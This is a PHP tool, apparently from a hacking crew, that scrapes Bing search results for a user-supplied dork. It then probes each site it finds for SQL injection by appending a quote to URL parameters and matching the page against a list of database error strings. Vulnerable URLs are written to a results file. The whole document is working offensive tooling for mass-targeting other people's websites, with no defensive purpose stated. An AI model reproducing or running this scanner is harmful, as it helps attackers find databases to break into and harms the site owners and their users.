SQL Dork Scanner via Bing Dorker [ Web ]

<?php
// SQL Scanner via Bing Dorker
// Coded by Mr. Error 404 ( l0c4lh34rtz) - IndoXploit
// Greetz: Sanjungan Jiwa - Jancok Sec - Res7ock Crew

set_time_limit(0);
error_reporting(0);
@ini_set('memory_limit', '64M');
@header('Content-Type: text/html; charset=UTF-8');

function cover() {
    print "<center>";
    print " ******        SQL Scanner via Bing Dorker         ******<br><br>";
    print " *****      Coded by l0c4lh34rtz - IndoXploit       *****<br><br>";
    print " ****  Sanjungan Jiwa - Jancok Sec - Res7ock Crew    ****<br><br>";
    print "</center>";
}
$error[] = 'You have an error in your SQL';
$error[] = 'supplied argument is not a valid MySQL result resource in';
$error[] = 'Division by zero in';
$error[] = 'Call to a member function';
$error[] = 'Microsoft JET Database';
$error[] = 'ODBC Microsoft Access Driver';
$error[] = 'Microsoft OLE DB Provider for SQL Server';
$error[] = 'Unclosed quotation mark';
$error[] = 'Microsoft OLE DB Provider for Oracle';
$error[] = 'Incorrect syntax near';
$error[] = 'SQL query failed';
$error[] = 'Warning: filesize()';
$error[] = 'Warning: preg_match()';
$error[] = 'Warning: array_merge()';
$error[] = 'Warning: mysql_query()';
$error[] = 'Warning: mysql_num_rows()';
$error[] = 'Warning: session_start()';
$error[] = 'Warning: getimagesize()';
$error[] = 'Warning: mysql_fetch_array()';
$error[] = 'Warning: mysql_fetch_assoc()';
$error[] = 'Warning: is_writable()';
$error[] = 'Warning: Unknown()';
$error[] = 'Warning: mysql_result()';
$error[] = 'Warning: pg_exec()';
$error[] = 'Warning: require()';

function getsource($url) {
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($curl);
    curl_close($curl);
    return $content;
}
function inject($url) {
    $data = getsource(str_replace("=", "='", $url));
    $errors = implode("|", $GLOBALS['error']);
    return preg_match("#{$errors}#i", $data);
}
function simpen($isi) {
    $f = fopen("result_sql.txt","a+");
    fwrite($f, "$isi<br>");
    fclose($f);
}

cover();
echo '<form method="post">
      Dork: <input type="text" name="dork" placeholder=\'"page.php?id=1" site:it\' style="width: 300px; height: 25px;">
      <input type="submit" value=">>" name="submit">
      </form>';
$dork = htmlspecialchars($_POST['dork']);
$do = urlencode($dork);
if(isset($_POST['submit'])) {
    $npage = 1;
    $npages = 30000;
    $allLinks = array();
    $lll = array();
    while($npage <= $npages) {
        $x = getsource("http://www.bing.com/search?q=".$do."&first=".$npage);
        if($x) {
            preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
            foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
            $npage = $npage + 10;
            if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
        } else break;
    }
    foreach($allLinks as $url) {
        $urls = parse_url($url, PHP_URL_HOST);
        $urls = "http://$urls/";
        if($_SESSION[$urls]) {
            //
        } else {
            $_SESSION[$urls] = "1";
            if(inject($url)) {
                echo " $url -> Vuln!!<br>";
                simpen($url);
            }
        }
    }
}
?>